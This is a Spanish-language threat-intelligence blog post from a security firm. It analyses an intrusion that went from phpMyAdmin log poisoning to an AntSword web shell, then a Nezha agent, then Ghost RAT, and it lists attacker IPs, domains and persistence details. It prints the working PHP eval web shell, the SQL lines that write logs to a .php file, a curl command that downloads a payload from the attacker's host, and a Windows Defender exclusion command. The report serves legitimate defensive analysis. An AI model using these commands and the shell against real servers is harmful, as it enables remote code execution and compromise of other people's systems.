El príncipe heredero, Nezha: una nueva herramienta preferida por los actores de amenazas con nexo en China

Actualización: 15/10/25 @ 1pm ET

Un individuo anónimo de China Continental que dice estar familiarizado con la actividad detallada aquí, se contactó con Huntress después de nuestra publicación original. Según el individuo, la actividad observada probablemente provino de alguien dentro de un grupo de entusiastas de Servidores Privados Virtuales (VPS) dentro de China Continental, muchos de los cuales buscan comprometer sistemas a nivel internacional para poder usarlos y así evadir las restricciones impuestas por el Great Firewall, en lugar de provenir de alguien motivado directamente por la geopolítica. Se señaló que Nezha es muy común entre estos entusiastas como una forma de administrar los VPS bajo su control, y que Moedove LLC, sobre el cual también reportamos, probablemente es operado por otro aficionado a los VPS que ayuda a otros a evadir restricciones.

Si bien Huntress no ha podido verificar de forma independiente esta afirmación, hemos podido identificar un canal de telegram que tiene más de 9,400 suscriptores y que parece haberse establecido a finales de 2021 como una forma de compartir consejos, trucos, VPS baratos disponibles y memes.

Es importante señalar que un canal público de telegram tan diverso en cuanto a los individuos suscritos hace imposible saber exactamente cuáles son las motivaciones de cada suscriptor. El individuo anónimo que se contactó con Huntress afirmó que la motivación detrás de esto probablemente era "obtener más servidores" o para "experimentación lúdica" en lugar de "propósitos maliciosos o políticos".

Aún quedan preguntas sobre por qué alguien con estas intenciones desplegaría Ghost RAT en un endpoint, o tendría la mayoría de los sistemas bajo su control en ubicaciones que tienen un conflicto geopolítico directo con China Continental; sin embargo, una cosa es segura: sin importar la motivación, no quieres que alguien tenga control total sobre tu servidor de producción con el propósito de "experimentación" o para evadir las restricciones de internet dentro de China Continental.

Blog original publicado el 8/10/25

Antecedentes / Resumen

Si tienes una aplicación web en línea, es probable que en algún momento seas atacado. Los actores de amenazas explotan aplicaciones web de cara al público por varias razones, entre ellas:

• Obtener acceso inicial a los entornos objetivo
• Desfigurar sitios web
• Realizar compromisos estratégicos de sitios web que luego se usan para apuntar a un conjunto específico de individuos

Estos ataques pueden provenir de bots y actores de amenazas oportunistas, pero a veces pueden ser mucho más dirigidos.

A partir de agosto de 2025, Huntress descubrió una intrusión en la que un actor de amenazas usó una técnica creativa llamada envenenamiento de logs (también conocida como inyección de logs) para plantar una web shell básica de evaluación (también comúnmente conocida como web shell China Chopper) en un servidor web. Esto permitió al actor de amenazas controlar el servidor web usando AntSword, antes de finalmente desplegar Nezha, una herramienta de operación y monitoreo que permite ejecutar comandos en un servidor web. Curiosamente, esto se usó posteriormente para desplegar Ghost RAT en el sistema. Según nuestro conocimiento, este es el primer reporte público de Nezha siendo usado para facilitar compromisos web.

El análisis de la intrusión reveló que el actor de amenazas probablemente había comprometido más de 100 máquinas víctimas, con la ubicación más frecuente de estas máquinas aparentando ser Taiwán, Japón, Corea del Sur y Hong Kong.

Esta actividad destaca cómo los atacantes abusan cada vez más de herramientas nuevas y emergentes disponibles públicamente a medida que se vuelven disponibles para lograr sus objetivos. Debido a esto, es un recordatorio contundente de que, si bien las herramientas disponibles públicamente pueden usarse para fines legítimos, también son comúnmente abusadas por los actores de amenazas debido al bajo costo de investigación, la capacidad de proporcionar negación plausible en comparación con malware personalizado, y la probabilidad de no ser detectado por los productos de seguridad.

Análisis profundo de la amenaza

Nuestra historia comienza donde comienzan tantas otras: una aplicación web vulnerable y de cara al público. Al examinar los logs del servidor web y correlacionarlos con datos de endpoint, pudimos armar una narrativa cronológica de la intrusión.

Acceso inicial

El análisis de los logs de acceso del servidor web Apache indica que el punto de entrada inicial del actor de amenazas fue a través del panel de phpMyAdmin.

Figura 1: Comandos GET mostrados en los logs de acceso del servidor

El análisis retrospectivo de la configuración del servidor web reveló fallas en el archivo de configuración predeterminado de phpMyAdmin, que no requiere ninguna autenticación y no estaba destinado a exponerse a internet, pero lo fue debido a un cambio en el registro DNS apenas unos meses antes del incidente.

El actor de amenazas usó una dirección IP alojada en AWS en Hong Kong para acceder a este servidor.

• IP: 54.46.50[.]255
• ASN: 16509
• ISP: Amazon.com Inc.
• Servicio: Centro de datos

Inmediatamente después de acceder a la interfaz de administración, el actor de amenazas configuró el idioma a chino simplificado, el cual está disponible en la página principal.

Figura 2: Eligiendo el idioma "chino simplificado" del menú desplegable

Esto se captura en las siguientes solicitudes, las cuales ocurren cuando se cambia el idioma.

1. 54.46.50[.]255 - - [06/Aug/2025:00:51:56 +0000] "GET /phpmyadmin/js/whitelist.php?v=5.0.1&lang=zh_CN HTTP/1.1" 200 478
2. 54.46.50[.]255 - - [06/Aug/2025:00:51:57 +0000] "GET /phpmyadmin/js/messages.php?l=zh_CN&v=5.0.1&lang=zh_CN HTTP/1.1" 200 9704
3. 54.46.50[.]255 - - [06/Aug/2025:00:52:00 +0000] "POST /phpmyadmin/navigation.php?ajax_request=1&lang=zh_CN HTTP/1.1" 200 2453
4. 54.46.50[.]255 - - [06/Aug/2025:00:52:01 +0000] "POST /phpmyadmin/db_structure.php?ajax_request=1&favorite_table=1&sync_favorite_tables=1&lang=zh_CN HTTP/1.1" 200 162

La web shell

Aproximadamente 30 segundos después de cambiar los idiomas, el actor de amenazas accedió a la interfaz de consultas SQL del servidor.

54.46.50[.]255 - - [06/Aug/2025:00:52:33 +0000] "GET /phpmyadmin/server_sql.php?lang=zh_CN&ajax_request=true&ajax_page_request=true&_nocache=175452726217376975&token=6f336f372c5a642b57413363265e7d7e HTTP/1.1" 200 4652

El actor de amenazas procedió a ejecutar interactivamente seis comandos SQL, según lo indicado por las solicitudes POST a import.php, db_sql_autocomplete, y lint.php con apenas segundos entre cada solicitud.

Figura 3: Comandos POST para los 6 comandos SQL ejecutados, como se muestra en los logs

La velocidad con la que se ejecutaron los comandos destaca que el actor de amenazas tenía experiencia con la sintaxis SQL, e indica que probablemente no es la primera vez que usan envenenamiento de logs para desplegar una web shell a través de phpMyAdmin y MariaDB.

Para registrar sus consultas en disco, lo que les permitió desplegar una web shell, el atacante probablemente ejecutó los comandos:

SET GLOBAL general_log_file = '../../htdocs/123.php';

SET GLOBAL general_log = 'ON';

Esto representa tanto una vulnerabilidad de recorrido de directorios como una causada por no exigir una extensión .log para el archivo de log general. La vulnerabilidad fue reportada a los mantenedores de MariaDB; sin embargo, debido a los requisitos de permisos necesarios para que esto tenga éxito, no se consideró como una vulnerabilidad:

• Si el usuario que ejecuta el proceso de MariaDB no tiene acceso de escritura al directorio htdocs del servidor web, O 
• Si no tienen privilegios SUPER asignados a la cuenta usada para acceder a la base de datos, este comando fallará 

El problema es que las distribuciones de Apache, como XAMPP, por defecto, ejecutan tanto el servicio de base de datos como el servicio web bajo la misma cuenta de usuario. Para empeorar las cosas, se ejecutan sin autenticación como la cuenta root de la base de datos, mientras incluyen versiones vulnerables del software.

Al momento de escribir esto, la última versión de XAMPP, que se descarga cientos de miles de veces por semana, no se ha actualizado desde noviembre de 2023, y usa MariaDB 10.4.32, que ya llegó al fin de su vida útil (EoL). Dado que está en EoL, incluso si esto se parchara en una versión posterior de MariaDB, es probable que los más afectados no sepan o no puedan actualizar fácilmente su versión de MariaDB.

Debido a que el actor de amenazas habilitó el registro general, podemos ver las consultas ejecutadas por ellos. La mayoría parecen ser configuraciones de entorno estándar, pero los comandos resaltados en azul y rojo son de particular interés.

Figura 4: Comandos resaltados que muestran la configuración del atacante y la carga útil de la web shell

El comando resaltado en azul representa la configuración de entorno personalizada del atacante:

SET lc_messages = 'zh_CN';

Esto configura el idioma de mensajes de la instancia de MariaDB (por ejemplo, advertencias o errores) a chino simplificado, coincidiendo con la preferencia de idioma observada en su actividad de phpMyAdmin.

El comando resaltado en rojo es de interés, una carga útil de web shell oculta dentro de 80 líneas de entradas de log de MariaDB.

Usar envenenamiento de logs para obtener una shell es muy creativo y requiere varios pasos. El atacante primero habilitó el registro general de consultas, para que cualquier consulta se registrara en disco. Luego emitieron una consulta que contenía su web shell de PHP de una sola línea, haciendo que se registrara en el archivo de log. Crucialmente, establecieron el nombre del archivo de log con una extensión .php, lo que permitió que se ejecutara directamente al enviar solicitudes POST al servidor. Finalmente, se colocó en un directorio accesible por internet, haciendo que la web shell quedara oculta a la vista entre entradas de log normales.

Aquí hay un desglose del siguiente comando PHP:

<?php class user{function ddd($name){eval($this->name=$name);}}$me=new user;$me->ddd("$_REQUEST[1]");?>

• Define una clase llamada user con un método ddd que toma un parámetro llamado $name.
• eval($this->name=$name); es el núcleo malicioso de la carga útil. La función eval en PHP ejecuta cualquier cadena que se le pase como código PHP. Aquí, está ejecutando cualquier entrada proporcionada a través del parámetro $name.
• Se crea una instancia de $me y se llama a ddd con $_REQUEST[1] como argumento, que se convierte en el parámetro $name.

En términos simples, este código toma lo que se proporcione en una solicitud HTTP POST y lo ejecuta como PHP en el servidor. Este tipo de línea única se asocia comúnmente con herramientas como AntSword o China Chopper, que usan mecanismos similares para enviar comandos desde el sistema del atacante a un host comprometido, creando una puerta trasera simple pero altamente efectiva y funcional.

Después de desplegar la web shell, el actor de amenazas hizo una solicitud GET a la web shell para asegurarse de que estuviera funcionando correctamente, y 30 segundos después, la dirección IP utilizada para interactuar con la web shell cambió a 45.207.220[.]12. Esto indica que el actor de amenazas estaba tratando de distanciar su compromiso inicial y la actividad de seguimiento posterior de una sola dirección IP, o más probablemente, que había entregado el acceso a la web shell a otra persona. Este último escenario es común entre grupos de amenazas con roles y responsabilidades distintos en busca de un objetivo mayor.

Figura 5: Comandos POST para las instrucciones enviadas por el servidor C2 del atacante, como se ve en los logs

Cada una de estas solicitudes POST representa al servidor C2 del atacante enviando instrucciones al servidor web comprometido a través de la web shell desplegada. Durante nuestra investigación, descubrimos que el actor de amenazas había expuesto RPC y WinRM a internet, lo que expuso detalles sobre el sistema detrás de la dirección IP a servicios como Shodan, lo que incluyó un nombre de host de WIN-DNF8DJKNVH0. Esto también reveló que el sistema usaba un desfase de zona horaria de UTC+8, que es estándar en ubicaciones como China.

Figura 6: Información tomada de Shodan

Curiosamente, esta dirección IP usa el sistema autónomo 53808 que está registrado a un proveedor llamado MoeDove LLC con rangos de IP proporcionados por Cloud Innovation Ltd. Información a continuación con respecto a Hurricane Electric Internet Services. Este sistema autónomo se registró por primera vez el 1 de abril de 2024.

Figura 7: Captura de pantalla de la entrada de Hurricane Electric Internet Services de MoeDove LLC

Los dominios que se sabe que están asignados a rangos de IP de este ASN parecen sospechosos, y aunque no están directamente vinculados a la intrusión observada, definitivamente son interesantes de notar, particularmente donde parecen estar usando un algoritmo de generación de dominios (6 valores numéricos alojados en un TLD xyz). Este algoritmo de generación de dominios surgirá y será importante más adelante.

Figura 8: Otros dominios de este ASN

MoeDove LLC tiene una presencia en línea algo sospechosa. Además de tener un sitio web que a primera vista parece algo profesional, cualquier enlace del sitio web a sus proyectos sin fines de lucro titulados Free Cloud Services y L2 Transit for Free en realidad no lleva a ninguna parte.

Figura 9: Captura de pantalla del sitio web de MoeDove 

En junio de 2025, el sitio web en cambio parecía ser muy básico y enlazaba a un popular RPG desarrollado en China llamado Genshin Impact. También contenía un número de licencia ICP, un requisito legal obligatorio para cualquier sitio web que opere desde China Continental.

Figura 10: Captura de pantalla histórica del sitio web de MoeDove

Una cuenta de GitHub que parece estar vinculada a esta entidad tiene solo un miembro y ningún repositorio público.

Figura 11: Captura de pantalla de una cuenta de GitHub vacía para MoeDove

Es posible que MoeDove LLC sea una operación muy pequeña, potencialmente dirigida por un pequeño número de individuos en China Continental. Al momento de escribir esto, MoeDove LLC solo ha estado operando durante aproximadamente un año y medio.

Nezha: Una nueva herramienta RMM entra en escena

Si bien es útil para identificar la web shell, los logs de acceso de Apache no revelarán los comandos reales enviados a la web shell, dado que se envían a través de una solicitud POST. Para obtener visibilidad del comando exacto, Huntress aprovechó la telemetría del producto Huntress EDR.

Figura 12: Vista de alerta de EDR con comandos ejecutados desde la web shell

En la captura de pantalla anterior, se generó una alerta, que muestra que el proceso del servidor web Apache (httpd.exe) había ejecutado un proceso hijo específico. Esto ocurrió exactamente al mismo tiempo que una de las solicitudes POST a la web shell de PHP. Cabe destacar que el comando ejecutado es idéntico a lo que se vería al usar la capacidad de terminal virtual de AntSword como se muestra a continuación.

Figura 13: Bloque de código que muestra los indicadores principales de línea de comandos del terminal virtual de AntSword

Específicamente, se usan las siguientes variables en el comando anterior:

• path: C:\Windows\Cursors\
• cmd: curl -O live.exe https[://]rism[.]pages[.]dev/microsoft.exe
• stag (etiqueta de inicio): 8394e84
• etag (etiqueta de fin): a7ad42acaca

stag y etag son variables que se configuran dinámicamente cada vez que se accede a la capacidad de terminal virtual de AntSword, en un intento de mantenerlas únicas y hacer que la identificación sea más difícil.

Figura 14: Bloque de código que muestra cómo AntSword calcula las etiquetas de inicio y fin

Dado que httpd.exe es el proceso padre de las cargas útiles de la web shell, al filtrar los procesos generados por este proceso, Huntress pudo identificar los comandos ejecutados a través del terminal virtual de AntSword:

Figura 15: Comandos ejecutados a través del terminal virtual de AntSword

La primera acción fue un simple comando whoami para entender bajo qué privilegios de usuario operaba el servidor web.

Después de esto, el actor de amenazas cambió el directorio de trabajo del terminal virtual de AntSword a C:\Windows\Cursors, que es un directorio legítimo que existe en Windows y que normalmente está reservado para archivos de cursor.

El actor de amenazas procedió a descargar una carga útil secundaria, un ejecutable llamado live.exe, y un config.yml acompañante desde un sitio web construido en Cloudflare pages: rism.pages[.]dev.

live.exe fue identificado como un instalador para un agente de Nezha. Nezha se comercializa como una herramienta ligera y de código abierto para monitoreo de servidores y gestión de tareas que está disponible públicamente. Aunque esto tiene usos legítimos, este caso representa un hallazgo novedoso de que también se está usando para facilitar actividad de seguimiento a partir de intrusiones web.

El archivo config.yml utilizado por el agente Nezha apuntaba al servidor del atacante en c.mid[.]al.

Figura 16: Extracto de configuración utilizado por el agente Nezha del actor de amenazas

Este dominio resuelve a una dirección IP ubicada en Dublín, que es un servidor privado virtual proporcionado por HostPapa.

Figura 17: Información de dirección IP vinculada al dominio del actor de amenazas

Shodan confirma que el puerto 80 está sirviendo una instancia de Nezha, y que el host también tiene SSH abierto.

Figura 18: Resultado de Shodan para la dirección IP del actor de amenazas mostrando la interfaz abierta de Nezha

Si bien el servidor de Monitoreo de Nezha en sí requiere credenciales administrativas para recuperar información detallada sobre los sistemas y controlarlos a través de su Agente Nezha instalado, no requiere autenticación para ver la información de salud del sistema en los sistemas donde está instalado. Una observación interesante fue que este actor de amenazas estaba ejecutando su panel de Nezha en ruso.

Al momento de la investigación, parecía haber más de 100 posibles víctimas, y este número solo ha aumentado con el tiempo.

Figura 19: Interfaz de Nezha del actor de amenazas mostrando las ubicaciones geográficas de las víctimas

Victimología

El análisis de las máquinas víctimas que se comunican con este servidor Nezha mostró que la mayoría de las víctimas parecían estar en Taiwán, Japón, Corea del Sur y Hong Kong, con solo un único sistema fuera de línea visto en China Continental. Esto es interesante, ya que se alinea con el conflicto geopolítico entre las regiones, como las disputas de la zona económica exclusiva del Mar de China Oriental, y las disputas entre Hong Kong y China Continental.

Los detalles completos de ubicación son los siguientes:

Una observación interesante es que la mayoría de los sistemas con el agente Nezha tienen un nombre indicativo del ISP que usan o su ubicación. Sin embargo, algunos son más descriptivos y pueden indicar a la víctima involucrada. Por la seguridad y privacidad de estas empresas, hemos redactado los nombres tal como se mostraban. Además, hay muchos sistemas que reportan sistemas operativos de escritorio, lo cual es inusual para un software destinado a controlar servidores, y esto ayuda a respaldar la suposición de que estos también son sistemas comprometidos.

Figuras 20: Información del sistema de posibles víctimas donde está instalado el agente Nezha

Aunque no podemos estar 100% seguros de que todos estos estén nombrados según las víctimas, sin una dirección IP y más detalles para identificar a la entidad, las convenciones de nomenclatura definitivamente proporcionan algunas pistas. Además, parece que algunas entidades pueden haber respondido rápidamente a un ataque que desplegó este Agente Nezha, dado que los primeros y últimos tiempos de avistamiento de algunos de los sistemas con este agente Nezha estaban separados por solo unas pocas horas.

Figura 21: Los primeros y últimos tiempos de avistamiento del agente Nezha son potencialmente indicativos de un proceso de respuesta rápida en curso

Es completamente posible que también se hayan instalado dispositivos embebidos con este agente Nezha, dado que algunos tienen el sistema operativo openWRT y una memoria y espacio en disco muy mínimos.

Figura 22: Información del sistema de un sistema potencialmente infectado en Rusia ejecutando openWRT

Ghost RAT en la máquina

Después de instalar el agente Nezha, se usó para ejecutar una PowerShell interactiva de modo que se pudieran crear exclusiones de Windows Defender antes de desplegar y ejecutar otro ejecutable llamado x.exe.

• 00:58:28 - live.exe (Nezha) generó una sesión elevada de powershell.exe
• 00:58:43 - powershell.exe ejecutó Add-MpPreference -ExclusionPath 'C:\WINDOWS' para deshabilitar el escaneo de Windows Defender de la carpeta de Windows.
• 00:59:02 - x.exe ejecutado desde el directorio C:\Windows\Cursors\.

Figura 23: Árbol de procesos del ejecutable malicioso desplegado por el actor de amenazas

El análisis de x.exe reveló que probablemente era una variante de Ghost RAT (también conocido como Gh0st RAT). El malware contenía protocolos de comunicación que coinciden con reportes públicos de Zscaler de una campaña en junio de 2025, la cual vincularon a un grupo APT con nexo en China. El proceso de instalación realizado por x.exe también tenía una superposición significativa con reportes públicos de Hunt.IO, y una marca de tiempo de creación idéntica (2020-04-25 19:13:10 UTC) en el binario; sin embargo, Hunt IO afirmó que este malware era una variante de RunningRAT. Esto sugiere que puede haber cierta reutilización de código entre las 2 familias de malware, o que Hunt IO atribuyó esto erróneamente como RunningRAT basándose en firmas Yara disponibles públicamente.

Mientras que el malware identificado por Hunt.IO se comunicaba con un dominio que usa el mismo algoritmo de generación de dominios de seis valores numéricos que identificamos basado en IPs asignadas a MoeDove LLC (host[.]404111[.]xyz), esta variante en cambio se comunicaba con un TLD xyz ligeramente diferente: gd[.]bj2[.]xyz.

Al realizar un análisis dinámico rápido con x.exe en una VM usando Procmon y Procdot se revelaron varios indicadores:

Figura 24: Salida de Procdot de procmon ejecutándose durante la detonación del malware

Todo lo que está en los cuadros rojos muestra la creación de un mecanismo de persistencia usando un servicio llamado "SQLlite", con un binario con un error de ortografía similar colocado en el directorio System32. Esta actividad se alinea con las alertas generadas por Huntress tanto para la ejecución como para los mecanismos de persistencia usados por el malware.

Figura 25: Eventos de señal para la actividad maliciosa de Ghost RAT haciéndose pasar por SQLite

SQLlite.exe en realidad es un ejecutable rundll32.exe renombrado, soltado por el malware usado para cargar una función exportada MainThread de 32138546.dll. Al ejecutarse, x.exe crea un mutex llamado gd.bj2[.]xyz:53762:SQLlite, que corresponde al dominio, puerto y nombre de servicio usados por el malware.

El cuadro azul destaca una conexión a 45.207.220[.]12. Esta es la misma IP que observamos operando la web shell a través de AntSword. Al observar los registros A de gd[.]bj2[.]xyz se muestra que resuelve a esta dirección IP y está registrado a través de Porkbun, LLC.

Figura 26: Información del dominio para 45.207.220[.]12

Curiosamente, al observar el historial de DNS de este dominio revela que estaba registrado a la dirección Beijing,CN hasta finales de 2021, cuando cambió a la dirección guang dong,CN y estaba vinculado a la organización registrante you shi ke ji ( zhong guo ) you xian gong si. Esto cambió en 2023, cuando todos los detalles fueron redactados por motivos de privacidad. Este registrante ha aparecido en el pasado por registrar dominios sospechosos, incluyendo uno que se hizo pasar por una marca farmacéutica en 2019.

Afortunadamente, Huntress pudo aislar el sistema y remediar el incidente eliminando la web shell, el agente Nezha, y el malware antes de que el atacante pudiera llevar a cabo cualquier otro objetivo.

Análisis del implante Ghost RAT

Etapa 1 (Cargador):

La etapa inicial es un pequeño cargador que contiene algo de funcionalidad trivial anti-análisis y luego ejecuta un ejecutable embebido. Para lanzar la DLL embebida, el binario crea un manejador de excepciones que, cuando se activa, cargará y ejecutará la exportación "Main".

Figura 27: Configurando el manejador de excepciones para lanzar la DLL maliciosa.

Después de crear el manejador de excepciones, agregará la dirección de la DLL a la pila y luego llamará a CxxThrowException para activar incondicionalmente la excepción y lanzar la DLL maliciosa.

Figura 28: Dirección del ejecutable embebido siendo agregada a la pila

Figura 29: La implementación de la lógica para lanzar la excepción y activar el manejador configurado anteriormente

Etapa 2 (Dropper):

La etapa 2 es responsable de configurar y ejecutar la carga útil final de Ghost RAT. De manera similar a cómo la primera etapa tenía otro ejecutable embebido en esa sección de datos, esta tiene el PE final de Ghost RAT almacenado al revés en la sección de datos. Es importante señalar que el ejecutable no está completo, ya que le falta la configuración, la cual se parchea en la etapa 2.

Figura 30: Función responsable de escribir la carga útil

El primer paso que realiza el dropper es invertir los bytes del ejecutable embebido que comienza en 0x10003010 y tiene 0x9400 bytes de longitud. Después de que esto se complete, buscan la primera aparición de los bytes ".HL." que es la ubicación de la sección de configuración anulada.

Figura 31: La sección de configuración vacía en el binario invertido que será parcheada

El siguiente script de Python puede usarse para recuperar la configuración de esta muestra de Ghost RAT:

En este caso, la configuración completamente descifrada se ve de la siguiente manera (en hexdump):

Figura 32: Configuración descifrada en hexdump

Etapa 3 (Ghost RAT): 

La etapa final es una implementación estándar de Ghost RAT. Todas las funciones de WinApi se resuelven dinámicamente usando GetProcAddress y se almacenan en una gran tabla de funciones que se reensambla trivialmente:

Figura 33: Funciones de la API de Windows siendo resueltas dinámicamente.

Esta muestra en particular tiene una configuración de manejador de C2 muy similar al malware observado por ZScaler en su reporte sobre APTs chinos que atacan a comunidades tibetanas. Hay dos grupos separados de comandos, el primero de los cuales es responsable de ejecutar otra funcionalidad de DLL, y el segundo es para ejecutar comandos dentro de la carga útil directamente.

El primer bloque de comandos es el siguiente:

La variante DD373 que observamos no contiene ninguna funcionalidad adicional única fuera del conjunto estándar de características de Ghost RAT.

Información sobre subdominios

Al observar los subdominios del dominio C2 del actor de amenazas bj2[.]xyz se encontró un subdominio interesante lhr, el cual apuntaba a una dirección IP diferente 38.246.250[.]201 alojada en lo que parece ser una IP dedicada proporcionada por Netlab Global. Esta IP parece tener un router OpenWrt detrás, y un sistema ejecutando fnOS, un sistema operativo NAS usado frecuentemente dentro de China Continental. La página de inicio de sesión del NAS presentaba una cadena única e interesante: cuoxianxu

Figura 34: Captura de pantalla de fnOS alojado en el dominio usado por el actor de amenazas

Conclusión

Este blog ofrece una mirada fascinante al manual de un adversario técnicamente competente. Si bien el actor de amenazas cometió errores de seguridad operacional, su capacidad para comprometer sistemas rápidamente y mantener el acceso durante largos periodos de tiempo usando una herramienta poco reportada no debe subestimarse. Lo que comenzó como una forma creativa de plantar una web shell en el sistema rápidamente escaló en un ataque multietapa que demostró un claro enfoque en el sigilo y la persistencia.

Herramientas, malware, direcciones IP, dominios, y datos demográficos de las víctimas apuntan hacia un actor de amenazas capaz con nexo en China que ha sido poco reportado. Para identificar tal actividad, es importante que los defensores tengan la visibilidad y la lógica de detección para detectar técnicas posteriores a la explotación, como la creación sospechosa de servicios, indicios de la presencia de una web shell, y ejecutables ejecutándose desde directorios sospechosos.

Este incidente destaca el requisito de asegurar que las aplicaciones de cara al público estén parchadas, reforzadas para asegurar que requieran autenticación siempre que sea posible, y que estas acciones también se apliquen tanto a los entornos de prueba como a los de producción. Al entender el proceso paso a paso usado por atacantes como este, podemos afinar mejor nuestras herramientas, entrenar a nuestros analistas, y buscar los signos sutiles de una intrusión manual con teclado. 

IOCs